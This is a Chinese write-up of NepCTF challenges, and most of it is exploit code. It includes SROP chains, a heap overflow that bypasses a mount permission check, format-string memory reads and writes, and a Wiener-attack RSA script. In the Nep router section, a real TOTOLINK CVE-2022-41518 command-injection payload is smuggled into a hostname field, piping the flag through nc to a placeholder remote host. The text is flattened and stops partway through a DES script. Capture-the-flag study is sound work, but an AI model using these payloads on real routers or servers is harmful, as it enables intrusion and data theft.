前言
纪念一下,打的很爽 Pwn 抢了 4 道一血,可惜最后 3 分钟第一被超了

Pwn
srop
Srop 一把梭,这里要注意,跳转是 PLT 表的 syscall 函数和真实的系统调用不一样,在函数内会将 rdi 赋值给 rax,后面的参数寄存器都要后移一位
from pwn import *
context.arch = "amd64"context.log_level = 'debug'# io = process("./pwn")io = remote("nepctf.1cepeak.cn", 31943)
mov_eax_15 = 0x0000400754buf = 0x00000601050ret = 0x004007AEsyscall = 0x0004005B0pop_rdi = 0x0000000000400813stack = 0x0601a50
frame = SigreturnFrame()frame.rdi = 0frame.rsi = 0frame.rdx = stack-0x8frame.rcx = 0x1000frame.rip = syscallframe.rsp = stack
payload = b"a" * (0x0030+8) + flat([ pop_rdi, 15, syscall]) + bytes(frame)
io.send(payload)sleep(0.5)
frame = SigreturnFrame()frame.rdi = 2frame.rsi = stack-0x8frame.rdx = 0frame.rcx = 0x1000frame.rip = syscallframe.rsp = stack + 0x110payload = b"./flag\x00\x00" + flat([ pop_rdi, 15, syscall]) + bytes(frame)
frame = SigreturnFrame()frame.rdi = 0frame.rsi = 3frame.rdx = stack-0x100frame.rcx = 0x40frame.rip = syscallframe.rsp = stack + 0x110 + 0x110payload += flat([ pop_rdi, 15, syscall]) + bytes(frame)
frame = SigreturnFrame()frame.rdi = 1frame.rsi = 1frame.rdx = stack-0x100frame.rcx = 0x40frame.rip = syscallframe.rsp = stack + 0x110 + 0x110 + 0x110payload += flat([ pop_rdi, 15, syscall]) + bytes(frame)
log.success(f"length {len(payload):#x}")io.send(payload)
io.interactive()HRPVM2.0
核心思想是替换文件,这里重写了 kernel 文件,之后 python 再次调用程序就可以执行了 shell 了

命令顺序如下,这里不能输入 #,但是 shell 脚本使用 Popen 需要有 shabang 开头,但是 shabang 并不被 sh 执行,但输入又不能输入回车,所以这里可以采用 env -S 绕过
mkdir app/templatescd app/templatesecho #!/usr/bin/env -S python3 -c "import os; os.system('cat flag')">kernelmount kernel
但是 mount 会需要权限校验,这里需要利用溢出漏洞,off by “two”,也就是爆破 1/16,踩中一个权限偏移内不为 0 的有效的堆地址,就可以绕过权限校验

exp
from pwn import *import requestsreq = requests.session()
url = "http://nepctf.1cepeak.cn:30424"req.get(url)
context.log_level = 'debug'# io = process("./kernel")io = tube()def io_recv_raw(*a): r = req.get(url + "/receive") print(r.json()) return r.json().get('output', "").encode("utf-8")def io_send_raw(x): r = req.post(url + "/send", data={"input": x})
io.recv_raw = io_recv_rawio.send_raw = io_send_raw# tob = lambda x: x.encode("utf-8")
def rm(file): io.sendafter(b"$", b"rm %b" % (file,))
def cat(file): io.sendafter(b"$", b"cat %b" % (file,))
def init(content): io.sendafter("Make a wish to Nepnep", content)
def echo(file, content): io.sendafter(b"$", b"echo %b>%b" % (content, file))
def mkdir(name): io.sendafter(b"$", b"mkdir %b" % (name,))
def cd(name): io.sendafter(b"$", b"cd %b" % (name,))
def exec(name): io.sendafter(b"$", b"exec %b" % (name,))
def id(): io.sendafter(b"$", b"id")
def mount(name): io.sendafter(b"$", b"mount %b" % (name,))
def leave(): io.sendafter(b"$", b"exit")
for i in range(32, 127): log.success(f">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>{i}<<<<<<<<<<<<<<<<<<<<<<<<<") leave() req.get(url) sleep(0.5) payload = b"" init(payload + b";" * (104 - len(payload))) mkdir(b"app/templates") cd(b"app/templates") echo(b"kernel", b"""#!/usr/bin/env -S python3 -c "import os; os.system('cat flag')" """)
echo(b"data", b"a"*(0x100-2) + b"bc" + b"\x21\x42") cat(b"kernel") echo(b"step1", b"mov rdi,data; syscall 0;") echo(b"step2", b"mov rdi,data; mov rdx,258; syscall 1;") exec(b"step1") exec(b"step2")
mount(b"kernel")# 59 52 65 0f 37 56# 7c 12 3c 44 45 56io.interactive()Nep router
https://gitee.com/baozhazhizi/IoT-vulhub/tree/master/Totolink/CVE-2022-41518
CVE-2022-41518 一把梭,这里用反弹 shell 得到 flag
import contextlibimport requestsimport os
session = requests.Session()login_url = "http://106.75.63.100:34903/formLoginAuth.htm?authCode=1&userName=admin&goURL=home.html&action=login"raw = session.get(login_url, timeout=5)
inject_url = "http://106.75.63.100:34903/cgi-bin/cstecgi.cgi"inject_data = { "proto":"8", "hostname":"';" + """rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/cat /flag/flag |nc xxx.xxx.xxx.xxx 1234 >/tmp/f""" + ";'", "topicurl":"setOpModeCfg"}
with contextlib.suppress(Exception): resp = session.post(inject_url, json = inject_data, timeout=1)print("shell!? ---------------> ")login
首先是路径穿越,由于不会校验目录,可以直接访问文件,下载文件,最后可以下载得到 login ELF 文件以及 libc 库,之后逆向很快能看到 sprintf 格式化字符串漏洞,最难就是本地调试找堆指针
exp
import structimport time
import requestsfrom pwn import *import logging
def creat_logger(log_path, logging_name, suf_name): if not os.path.exists(log_path): os.makedirs(log_path) log_full_path = log_path + logging_name + suf_name logger = logging.getLogger(logging_name) logger.setLevel(level=logging.DEBUG) handler = logging.FileHandler(log_full_path, encoding='UTF-8', mode='w') handler.setLevel(logging.INFO) formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s') handler.setFormatter(formatter) console = logging.StreamHandler() console.setLevel(logging.DEBUG) logger.addHandler(handler) logger.addHandler(console) return logger
logger = creat_logger("./", "log", ".txt")req = requests.session()start = b"deadbeaf"end = b"asdewedv"url = "http://106.75.63.100:34617"# url = "http://172.20.192.1:8080"
def read_s(offset): if offset < 0: offset += 2 ** 32 while True: try: r = req.get(url + "/login", params={ "user": f"{start.decode()}%{offset}$s{end.decode()}", "password": "aaaa" }, timeout=1) break except ConnectionResetError as e: print("retrying...", e) time.sleep(0.5) pass except TimeoutError as e: print("retrying...", e) time.sleep(0.5) pass except requests.exceptions.ConnectTimeout as e: print("retrying...", e) time.sleep(0.5) pass s = r.content # print(s) code = s[s.find(start) + len(start):s.find(end)] return code, hex(struct.unpack("<Q", code[:8].ljust(8, b"\00"))[0])
def get_p(offset): if offset < 0: offset += 2 ** 32 while True: try: r = req.get(url + "/login", params={ "user": f"{start.decode()}%{offset}$p{end.decode()}", "password": "aaaa" }, timeout=1) break except ConnectionResetError as e: print("retrying...", e) time.sleep(0.5) pass except TimeoutError as e: print("retrying...", e) time.sleep(0.5) pass except requests.exceptions.ConnectTimeout as e: print("retrying...", e) time.sleep(0.5) pass s = r.content code = s[s.find(start) + len(start):s.find(end)] return code
def write(offset, x): if offset < 0: offset += 2 ** 32 while True: try: r = req.get(url + "/login", params={ "user": f"%1000${x}c%{offset}$hhn", "password": "aaaa" }, timeout=1) break except ConnectionResetError as e: print("retrying...", e) time.sleep(0.5) pass except TimeoutError as e: print("retrying...", e) time.sleep(0.5) pass except requests.exceptions.ConnectTimeout as e: print("retrying...", e) time.sleep(0.5) pass
# p = 15196# write(p, 0x58)# print(f"[+] {get_p(p)} => {read_s(p)}")# p2 = 15513def write_s(sx): s = struct.pack("<Q", sx).strip(b"\x00") print(s) for i in range(len(s)): p = 15196 write(p, 0x78 + i) # print(f"[+] {get_p(p)} => {read_s(p)}") p2 = 15511 write(p2, s[i]) # print(f"[+] {get_p(p2)} => {read_s(p2)}") p3 = 15518 print(f"[+] {get_p(p3)}")
# print(f"[+] {get_p(15712)}")# # xt = int(get_p(15712).decode(), 16)# # print(f"[+] {xt:#x}")# print(f"[+] {get_p(15512)}")# print(f"[+] {get_p(16110)}")# # print(f"[+] {get_p(15712)} => {read_s(15712)}")# for i in range(1, 0x31, 8):# x = xt + i# print(f"[+] {x:#x}")heap_base = int(get_p(15059).decode(), 16)print(f"[->] {heap_base:#x}")xt = heap_base- 0x40print(f"[->] {xt:#x}")write_s(xt)print(f"[+] done")print(read_s(15518))
# write_s(0xdeadbeafdeadbeaf)# p = 15196# print(f"[+] {get_p(p)} => {read_s(p)}")# p = 15513# print(f"[+] {get_p(p)} => {read_s(p)}")# p = 15516# print(f"[+] {get_p(p)}")# for i in range(0x3d5b-10, 0x3d5b+100):# code = get_p(i)# if code.startswith(b"0x55") or code.startswith(b"0x7f") and len(code):# content = read_s(i)# # print(f"[+] {i} => {code} => {content}")# logger.warning(f"[+] {i} => {code} => {content}")# continue# # print(f"[+] {i} => {code}")# logger.info(f"[+] {i} => {code}")HRP-CHAT
这一套题都是源码审计的题目,漏洞也很简单
1
SQL 注入,注意这里不能用万能密码 1’ or 1=1— 因为在 client 中 scanf 不支持空格,所以就要先在数据库中注册一个用户名为 1 的用户,然后再次注册一个用户名为1'--

2
首先分析源码(其实也不用 chat 的 sever,只要看 client 的处理逻辑即可)可以看到这里 Bot 模式只会返回一个字符串'远程AI协助服务正在开发中!',但是我们需要服务器返回RemoteVIPApplicationCertificationHasPassed这一串才能获得 flag,那么我们就需要伪造服务器返回的 message。我们可以看 Chat 模式下的服务器的原理,服务器就是转发消息进行广播。那么我们就可以想到

如果让一台机器在 Bot 模式下,另一台机器在 Chat 模式下

那么我们就可以利用广播的机制,伪造服务器返回 message,这里也没有做任何校验,所以就能得到 flag

3
3 号题目我看不太出来有啥漏洞,感觉就是正常的逻辑,抽卡获取角色,用 message 查看当前角色池子和技能,抽到 H3h3QAQ 就可以了,释放第二个技能 log4j,就能打死 ThTsOd 了

4
这个比较玄学,在我打 2 号 flag 的时候,可能是 2 号 flag 需要卡一个时机,我就写了脚本爆破,可能请求太多了,服务器就崩溃了,进入 Safe box 的 cmd 界面,输入 Safe_Mode_Key 就可以获得 flag
Misc
codes
pwn 的思路打,先泄露 libc,找到偏移直接 system (“env”) 一把梭
#include <string.h>int main(){printf("1234"); size_t tmp = &printf;tmp -= 0x61c90;tmp += 0x52290;((int (*)(const char *, ...))tmp)("en" "v"); }与 AI 共舞的哈夫曼
确实不用自己写代码,GPT 一把梭
def decompress(input_file, output_file): with open(input_file, 'rb') as f: # Read frequency information num_freq = ord(f.read(1)) frequencies = {} for _ in range(num_freq): byte, freq = f.read(1)[0], 0 for _ in range(4): freq = (freq << 8) | f.read(1)[0] frequencies[byte] = freq
# Rebuild Huffman tree root = build_huffman_tree(frequencies)
# Decode compressed data with open(output_file, 'wb') as out_f: node = root while True: bit = f.read(1) if not bit: break bit = int.from_bytes(bit, byteorder='big') for i in range(7, -1, -1): if (bit >> i) & 1: node = node.right else: node = node.left if node.char is not None: out_f.write(bytes([node.char])) node = rootConnectedFive
万宁五子棋,注意下棋到同一个位置会死机所以要,写逻辑爆破,为了提高胜率,这里采用最朴素的策略,计算每一个空白位置自己的棋子的密度,来判断哪些位置更优
exp
import random
from pwn import *
context.log_level = 'debug'context.timeout = 3getIO = lambda: remote("nepctf.1cepeak.cn", 30582)io = getIO()
def getinfo(): io.recvuntil(b"MESSAGE computer: ") io.recvuntil(b"\n") io.recvuntil(b"\n") io.recvuntil(b"\n") scoreboard = io.recvuntil(b"\n", drop=True).decode() # print(f"[+] Scoreboard {scoreboard}")
# io.recvuntil(b"\t a b c d e f g h i j k l m n o\n") checkerboard = [] raw = io.recvuntil(b"\t a b c d e f g h i j k l m n o\n").decode() for i in range(15): # io.recvuntil(b"\t" + bytearray([i+ord('a')])) r = io.recvuntil(b"\n").decode() raw += r a = r.strip() checkerboard.append(a[3::2]) # print(checkerboard) return scoreboard, checkerboard, raw
key = "abcdefghijklmno"
def check_pos(x, y, checkerboard: []): res = 0 cnt = 0 for i in range(max(0, x-4), min(14, x+4)+1): cnt += checkerboard[i][y] == 'X' res = max(res, cnt)
cnt = 0 for i in range(max(0, y - 4), min(14, y + 4)+1): cnt += checkerboard[x][i] == 'X' res = max(res, cnt)
cnt = 0 for i in range(-4, 4+1): if 0 <= x + i <= 14 and 0 <= y + i <= 14: cnt += checkerboard[x+i][y+i] == 'X' res = max(res, cnt)
cnt = 0 for i in range(-4, 4+1): if 0 <= x - i <= 14 and 0 <= y + i <= 14: cnt += checkerboard[x-i][y+i] == 'X' res = max(res, cnt)
return res
def get_nice_pos(checkerboard): p = [] for i in range(15): for j in range(15): if checkerboard[i][j] not in ".+": continue p.append((check_pos(i, j, checkerboard), i, j)) p.sort(reverse=True) return p[0][1:]
def action(checkerboard: []): print(len(checkerboard), end=" ") for x in checkerboard: print(len(x), end=" ") print() while True: # x = random.randint(0, 14) # y = random.randint(0, 14) # print(x, y) x, y = get_nice_pos(checkerboard) if checkerboard[x][y] in ['.', '+']: return key[y] + key[x]
for i in range(100): try: s, c, r = getinfo() log.success(f"Scoreboard {s}") log.success(f"Checkerboard \n{r}") ans = action(c) io.sendline(ans.encode()) except EOFError: io.close() io = getIO()
io.interactive()CheckIn
b 站发不出去,等了一会儿,flag 直接在题目描述了

陌生的语言

https://ay.medyotan.ga/upload/lwa_moonrunes.png

直接出
NEPNEP_A_BELIEVING_HEART_IS_YOUR_MAGIC
小叮弹钢琴
莫斯编码得到YOUSHOULDUSETHISTOXORSOMETHING,字面意思,你需要用这个 xor,还有一段直接 mid 看

x = 0x370a05303c290e045005031c2b1858473a5f052117032c39230f005d1e17xx = x.to_bytes(x.bit_length() // 8 + 1, "big")key = b"YOUSHOULDUSETHISTOXORSOMETHING"print(xx)print(len(key), len(xx))print((bytearray(map(lambda x: x[0] ^ x[1] ^ 32, zip(xx, key)))))大小写转换异或 32
你也喜欢三月七么
首先是用群名字 sha256 得到dd8e671df3882c5be6423cd030bd7cb69671ef27dfe7a541903edc4e23168009取前面的 16 个字节

得到https://img1.imgtp.com/2023/07/24/yOkXWSJT.png

一眼星穹铁道的文字

翻译可得
HRP_aIways_likes_March_7th 这里的 aIways 的 I 是大写的 i
lic
磁带信息,先用 audiotap 转磁带文件,再用 010 打开

可以看到文字的 NepCTF 形状,利用脚本反转之后可以看到
with open("attachment.tap", "rb") as f: data = f.read()[50:].strip(b"\xa0")data = b"aaa" + datachunk = 16for i in range(0, len(data), chunk): # print() x = data[i:i+chunk][::-1].decode(errors="ignore") print("".join(map(lambda _: " " if _ == '>' else _ + ' ', x)))Crypto
random_RSA
winner’s 攻击,这里用了低指数解密算法的脚本https://github.com/pablocelayes/rsa-wiener-attack,恢复 d
因为 phi (n^2) 近似 (q^2-1)(p^2-1),先用命令交互出一组数据,之后使用下面脚本爆破
得到 d 之后
因为
所以可以利用得到 k
之后一把梭求 p,q 即可
import ContinuedFractions, Arithmetic, RSAvulnerableKeyGeneratorfrom gmpy2 import gcd, iroot
def hack_RSA(e, n): ''' Finds d knowing (e,n) applying the Wiener continued fraction attack ''' frac = ContinuedFractions.rational_to_contfrac(e, n) convergents = ContinuedFractions.convergents_from_contfrac(frac)
for (k, d) in convergents:
# check if d is actually the key if k != 0 and (e * d - 1) % k == 0: phi = (e * d - 1) // k s = n - phi + 1 # check if the equation x^2 - s*x + n = 0 # has integer roots discr = s * s - 4 * n if (discr >= 0): t = Arithmetic.is_perfect_square(discr) if t != -1 and (s + t) % 2 == 0: print("Hacked!") return d
def attack(n, e): d = hack_RSA(e, n * n) k = (e * d - 1 + n * n) // (n * n) tmp = (n * n) - ((e * d - 1) // k) + 1 + 2 * n ppq = int(iroot(tmp, 2)[0]) tmp = (n * n) - ((e * d - 1) // k) + 1 - 2 * n pmq = int(iroot(tmp, 2)[0]) p = int(gcd(ppq + pmq, n)) q = n // p assert p * q == n assert e*d % ((p-1) * (q-1)) == 1 return p, q, d
ss = """9664150901450480967690564598017074925278657678428083526647019231493500227501186171121223353625264405549895808023865076405682104148869646937802710197692149880801739296224423720449697986562014962810427149274953670336431969720847239367252577312181797620406921597928891203908280967606801144879943997948288687269135451721341591758893489869339520600383114702594831680556978281938914417626897063741811649257614797234325708166759403120480173752153249168733044607204951768557734895758143808863754965572034240739588491294098941537522398891830128387438317592253663045532862058982832135946842401711673333170801808131328328138409229833345745809178011808608389759159110561139917867784128312011824113143643998163312196028169878015157035767641590877084506254238035580176461603414222674399510444071244140158647699668761294375190844921095108180937897246858347452540395000615444946872973546281682819825779574579241205972568691514021447424860051617381512557671275780106825146037476747321925397095372758067886887980507085986383779168429716310112632611951757050716838723736038438841139679103014794535328364709740197120630949827405346670392935414400152501646315998179493881957449302701312764981574772154832425444645966892688073890290692725320674900833695476697152399779924101587042203132873589364765701972364427842735574218883784974644333538928877664263394187828763909190468902787930888681319751978805809050277853524281890074808946873912773388360872210713792174894144151839194259623645016127043792750594691447942117363125602658811106938647112027639411382066076893827124025977918067065027889252211705133066812585766760193236277436324481144524430973970141418396340399819518555352418514246386893663795453427393196777855671746402176135275404382835081707728078011425875399760488455174004741329481510819745423775787049992657639795233875889368047468879124627095435657383422094112642154518525498779990542419074633233912512712131417159142897635366711536376372748677561409190328465843809721662323891471247852115724113953798734433084169947241923941149227113031803030660943465428403668793794416267910494623512617852104563319038648242434032216202409295531966075905865216199641189520924871854701315250197916019112698850130665366057520643033132754769595857334650244780690765188680598322792773350648768910773306404866210934654842384416821132852938819643606885801842247047256813117093780014722636781270324491961530403017146005029757351083552086863085314970523921206924625751086166669654182115181816979619964758749571051097211474240083170854815471541253524219326092160969534793093670703663935896816401252034990943795709079494148519058025773252197717193234103750432423163299986773416648114706230818308101013668414653053935491626312502006321357105143651858420683011809375550848181208224582269094481919759976035434100660973660977078966679306464270364148138932062327767817355830162967286511637726912794202561218079482794453959981584786310576086210982838914068152568027655427653392709462860205884367528607133945442946598697169490792768883023914261185518727437985152318910875585965753322427169332027827860542542338649538417456856249762776161242204579195705943774149332869850948136855400645668381299398489137869893503954088392946464580794296645615860526366181347170344507832785465600007984829758726642331819287496787352295107055848779712892731374590950873401521254536313271997187768392167539543843659416930008438661763624417408594998134127280144191319252905592260353897417988761057121949352464895319192876178313298531031727663120061490323282660902147284679388134429569998591978194293676150059241366653121391332752037668180937129526602977613365527773612902207306603396495015286751176188674640141841957882875417404793911201045615067546357565750918910802012890829459540541628896792295078778436077857489427389981093725666739897304883046269390863878441152550000748160396908161524179907858077000487740264046477305439871796448601143325277932003810352123707096051383675738121180861345577006541031517155258339948241289482502904363911440323113072882087374540321696726636204227138558487828152291517517119224906926633391353300941778394425937626996455545868331674490267329118395561623628314372766364381142098697604044336132503664081692651614933878766623288150407771680698950374395680226687162951709227319486379639675961227436372862323642542582705252736363789548988448924281523831641812866756475188302864736609368420567688376059657737547228281648692550026019318771753849449671684232062588689669861443602262691173918899380037164734724191779082782550322743519774548058217642184115347870947672842161352761743544069964369061420250324309679491507722841993857052633450508089354206777893601681126303117368176201569060811654748095621075388522673942784390666211086657473127365339661592291071731524653654140520640895483840230258563759041496869161152149120863053083412666933291163858157544127367499786013213231918641438501743158280397883202037261977977880263234839950925018763615400561715464333450565090238227233926491166510713693953199319302212128660853405614303476932259664083515029389422946045863002999828311553589384952604001854844972568964163243703916571253093757553760571809408583759647867336525464888809964266570646317082525600234748779493017926124293826537301005207133380449644013337500909470378434481526145318646956014000788782766125722663043505183644953353412750387594971310644476194213265136803433031153302006819963494412384902096052561402828663533607852654748684651310169314259319643931771631401731693984992915729847333381180819107044327531075244773478433549581410413692075885770816128446233024873999414539337896711153350680182046433804310163873530744638818895739714243668607588547792890005637528789452971314751693622472528149754510450552025972279187841776097749142749323304216218612718765727398943401294644022496938258864873262044174164494124912426175372524656376121897875690251938452930789747994519674300862595216275541928658146402252536829579922303097776404657455395450853161185534506599329499328761065707811197966475148318482438088816924842458585192796056395380885795831624193355572079389648572361687920747403086875781493091238221420792111039898275872964722825166960441004965842026859265796562573640732063541877035703999245333694179437792066831585165461995364692890546146714109909416865771920606476665195142708888603968579677611414182298908961972377792642461485700163305106822555295614208389049759887366755702844687102118445824014372956649481277066166924064626883625529127495005588028388483766067410274861916768872801521497419917210273929808241146609995677024611922336272710349389876190772255358937829567527264556193455102589070314099946309456924899042364687241172332840945782353392616136617563821048515468471367048407411155118451921276454670955158681417865476853177017842721834815952409006713266837983420755674970910958855376774495892803045864293320797273173888983664027031052240708255707307422032731463071652137403618211017887465002432168692117051240159277252379824996010246766074285079464361741633904950528045016244540127043273044021628139047935705179809152652933410722692455547647528744534839733672044599254892680777240260159499991043971697252388432311037873809523064135400553593959573849832595188508029952697051548829416255437072643835688738793624097362498558443096146101627043746940890053701369940962214522457892915729305114275499436510544130029395376994942708908040276210725248167443941426000116363000200220922760871870186453976447185412076514993435759981899706296371330830436299159628082800951211075577461707888716536099448346975425979423204513474804957136589097060039973306518815953291120835728515830763204543660368647766211096455843430246712026982708852360543677674530743560023330349468859412826542471024866557442161759939723560838629373600911263524011636319712768871556302569180437676004395619112968911510645145459430345828935645924234413940523699904962572662950701750521907693788666475358305749978303926379358069170765396161903335312206699340199341228106730504556971181751091781667026701297638854431113144742856031025542411843437212905850406897170450958345253598538542661053359529163683726002952916111901252702883215406311806605411436521222561160441337646630682129162220645348107654872296443149672064281507343466031675146177392773676938026056557263552186566641813180409722378755957258403442923276790740858838690862781113529285862665653324002215060351342057811868722794858409107442690013589532262943990745431478191044017844083397530824344245150592990173259732525094247788525739224837295679745955641804314042654920505999269383249481731260911482087454054211587951775148123994577374503668583755578244518956203130622970542004108302601450830865336582901034165739597273838322513678277580224250767953011438840869016350137881858125983608665831475029516829206341323460697505484556735376829998885511767281005108840046697610302208795398182098057415991839607175077531813947927123547373332868453608747347815869515422882735153273933290651731379827018790232615617964485038388387400579821056500289727918301490569722941800556145830128392787609763459872927337088768812771679914658995954771829652950421819702414456925295145590704784455559310964233112833755145713182533412947699566856472511428420061162198452244076643605124600301907838772198941012601404630033752640683222766121167051137466617193324220776121636726262954983891798049753528884949149278107055957653804164122232750629108771687361858365462276461758050089339414649308189481865701469685971089624677686415038790141344992019067961279901006021154460525723482009962909666812029094177916225260557575750852951983028595026985975759287231315896982867941386247369741207715929550901277459410981688464120324580668604126829385737148142010733680106833740158713528050751799693988082141485112234559239865511692418065113774817308071898684749289577274638116406277808547134140659187860357703459236546455683700089064295899984063024669612762793525503212165546539776762359198804880143121831222096537368999356089708412896046021123796479990498164844552933248218587707868671273702871780046383065460423688141024214392817157791234305056319786064285936708392236448824783787802429682770337272235088202671105152535710294695902974253047704609221448981405609532633533062373004757059178427305919782441807444728003944125735197038228206500793881947731683045961796477046714111614358449413877923492947221540637411996522154279667079850899812790025430709528400798251289702825878302828745393493824877531623611021252456356175891394204733580270256164603165280954431866062942260146653644302782243197898971847034949620717936360716813922698249012591248773536863924987646374098897933678199676635398286431303649466386258192966901198806753276444091301228010214339088108290023638595922653691209504127688631013840850339138278703745938757018854197798962009892613282181507128330931048662067002367216863617848322567299023690624245593206164105677495564960539642415302357595708814138558968835481632687790665010565719903412940128287504825368916534220790908431745824689253975485426199665419413293026825301727942248672409218671101407001619695622271079059718159320809385046289813332457898242478875287662049306326128127096487004090260965504341859573161979597029645986363926315578307517270390753856067696152047443238502483962791641441490865619200976770256057170066156820270572569771810211110603878695517027021950880364813075465813553633502655967975314073321783020381333179392616571110466251438283295584037063072317641592779695576516955351746228624042492217724849657620847693726284017350054950782525685068155910337357571979953407374579280570935089834537704344457238732220579202609637914608484826604361955970116469949154697026645903741731287329497095582160362231238960329551573864907411287725688413134239479959356600892557931981745359716246576285134336255136234019351923411118976399709138358912615581289803736063685392526627126047585536571255137591890898469016131796862155245718632726865355864471577906314641282253655270136097246496157189183315479252842675388863506996293537386049856520375327248649829502157752917745660189131281987348802723603782945921331000190785525591621756168923822951821404353646825235167866284344617268886872941218738132870839917479807740404673373159559070563008075098345562213387428585134527952927397372161736924000067060148836364979179350873731455181407191524960955000331041112836325967730682314802564504793245212062165765383998948417925582958872582993455246869810367559513521188245827564742949660925007994864642588404989913088438650029238240908588039032304578884090105469536379896758734713314973495243747985470691862911913134723349279860545443973275726615548263752591810660223834517909123784767147753948727361870320431446223866316111276171603492135128216357176021812643706643763587976997347084988208779018873039456862231395447809853586521609100405013300467752808797446255256509955396709060833818059140619116092459497493686455825427088609805918612964163855925495410440760559642006382819680630706627333218589739634830096224810601690036163130895447446190737732854075739908518171940791""".strip().split()arr = list(map(int, ss))xx = []for x in range(7): n = arr[2*x] e = arr[2*x + 1] xx.append(attack(n, e))print(xx)#global_bits = 1024
from extend_mt19937_predictor import ExtendMT19937Predictor
for p, q, d in xx: print(hex(p & 0xffffffff), hex(q & 0xffffffff), hex(d & 0xffffffff)) print(p.bit_length(), q.bit_length(), d.bit_length())
print(len(xx))for xt in range(2 ** 7): try: predictor = ExtendMT19937Predictor() for i in range(7): if xt & (1 << i): predictor.setrandbits(xx[i][0] >> 32, global_bits - 32) predictor.setrandbits(xx[i][1] >> 32, global_bits - 32) else: predictor.setrandbits(xx[i][1] >> 32, global_bits - 32) predictor.setrandbits(xx[i][0] >> 32, global_bits - 32) predictor.setrandbits(xx[i][2] >> 32, global_bits - 32 - 32) # d = predictor.predict_getrandbits(global_bits - 32) # print(d) break except ValueError: print(xt) del predictor
from gmpy2 import next_prime, invert as inverse_modfrom Crypto.Cipher import PKCS1_v1_5from Crypto.PublicKey import RSAfrom random import getrandbitsfrom math import lcmfrom sys import exitdef generate_prime(bits: int): p = (predictor.predict_getrandbits(bits - 32) << 32) return next_prime(p)
def generate_private_key(bits: int): q, p = generate_prime(bits), generate_prime(bits) n, phi = p * q, lcm(p-1, q-1) print(p.bit_length(), q.bit_length()) print(hex(p & 0xffffffff), hex(q & 0xffffffff)) d = inverse_mod(0x10001, phi) privateKey = RSA.construct((int(n), int(0x10001), int(d), int(p), int(q))) return privateKey, p > q
privateKey, signal = generate_private_key(global_bits)Cipher = PKCS1_v1_5.new(privateKey)cc = b"\x02\x81\xbe\x9e^\xdc2\xf6V~\x98 \x97\x125\xa2-\xe3gal\x96\x02\xba\xe8\xaaN*\xce\xe98\x8eAhSNz\x08;Vb\xe0\x9d\xe2\x15\xf6\x12\xd6\xe5'a\xc0\rt\r+\xa4_\xaa\x19\xc4\x97>\xa1\r\x14\x18\xfe\xd4\xa8~d\xfe\x9d\x95>\x0f\x84\xfa/p\xfa\x91\x070\xd1\xa64\xb2N\x9a\xe9\x01\xe9\x91\xa58\x81\xb2\\H&B\xcc\xde\xe8|\x87\xed\x0e)\xd3\xde\x93f\xa5\x0e\xecv\x9c\xcea%\x85\x9e\xb8\x10\x9ea\xdfnME\x18i\xab,\x96{\xab\xf3i\xa9I\xc2\xbb\xac\x81\x12\x04\xf4J8N\xfbE\x0fp.P\x9b\xacrX\xc1Hk\xff->\x9b\xd99\xd2L\xc2\x849*\xfa\xf3>\x8c&23\xceu\xb7\xf7\xa2\x81\x15\xacOX}\xd3t\xa6T\x1b7\xa9\xf6\x163\x96\xa1\xe1\xd7\xb3e\xccB\x9a\xee\x83B|\x92E>C\xfb\xd5\xc5\xe3#\xa514\xa0\x1b\x03\xbf\xf6\xb3\x1bK\xa2=\xaf3\x03w\x91\xdeU\xb51Y}%\x89\x00"print(Cipher.decrypt(cc, None))simple_des
爆破 9 位恢复 L,之后逆推下面这个操作即可恢复 L,R 的初始,由于 LR 来自 key 其中的 56 位,所以只要知道 key 的 56 个 bit 即可
for i in range(16): for j in range(ROTATIONS[i]): L.append(L.pop(0)) R.append(R.pop(0))exp
from operator import addfrom typing import Listfrom functools import reducefrom gmpy2 import *from Crypto.Util.number import *
_IP = [57, 49, 41, 33, 25, 17, 9, 1, 59, 51, 43, 35, 27, 19, 11, 3, 61, 53, 45, 37, 29, 21, 13, 5, 63, 55, 47, 39, 31, 23, 15, 7, 56, 48, 40, 32, 24, 16, 8, 0, 58, 50, 42, 34, 26, 18, 10, 2, 60, 52, 44, 36, 28, 20, 12, 4, 62, 54, 46, 38, 30, 22, 14, 6 ]
def IP(plain: List[int]) -> List[int]: return [plain[x] for x in _IP]
__pc1 = [56, 48, 40, 32, 24, 16, 8, 0, 57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 60, 52, 44, 36, 28, 20, 12, 4, 27, 19, 11, 3 ]
__pc2 = [ 13, 16, 10, 23, 0, 4, 2, 27, 14, 5, 20, 9, 22, 18, 11, 3, 25, 7, 15, 6, 26, 19, 12, 1, 40, 51, 30, 36, 46, 54, 29, 39, 50, 44, 32, 47, 43, 48, 38, 55, 33, 52, 45, 41, 49, 35, 28, 31]ROTATIONS = [1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1]
def PC_1(key: List[int]) -> List[int]: return [key[x] for x in __pc1]
def PC_2(key: List[int]) -> List[int]: return [key[x] for x in __pc2]
def get_sub_key(key: List[int]) -> List[List[int]]: key = PC_1(key) L, R = key[:28], key[28:]
sub_keys = []
for i in range(16): for j in range(ROTATIONS[i]): L.append(L.pop(0)) R.append(R.pop(0))
combined = L + R sub_key = PC_2(combined) sub_keys.append(sub_key) # print('LL=', L[:19]) # print('Rr=', R) return sub_keys
def get_sub_key_attack(key: List[int]) -> List[List[int]]: L, R = key[:28], key[28:]
sub_keys = []
for i in range(16): for j in range(ROTATIONS[i]): L.append(L.pop(0)) R.append(R.pop(0))
combined = L + R sub_key = PC_2(combined) sub_keys.append(sub_key) # print('LL=', L[:19]) # print('Rr=', R) return sub_keys
__ep = [31, 0, 1, 2, 3, 4, 3, 4, 5, 6, 7, 8, 7, 8, 9, 10, 11, 12, 11, 12, 13, 14, 15, 16, 15, 16, 17, 18, 19, 20, 19, 20, 21, 22, 23, 24, 23, 24, 25, 26, 27, 28, 27, 28, 29, 30, 31, 0 ]
__p = [15, 6, 19, 20, 28, 11, 27, 16, 0, 14, 22, 25, 4, 17, 30, 9, 1, 7, 23, 13, 31, 26, 2, 8, 18, 12, 29, 5, 21, 10, 3, 24 ]
def EP(data: List[int]) -> List[int]: return [data[x] for x in __ep]
def P(data: List[int]) -> List[int]: return [data[x] for x in __p]
__s_box = [
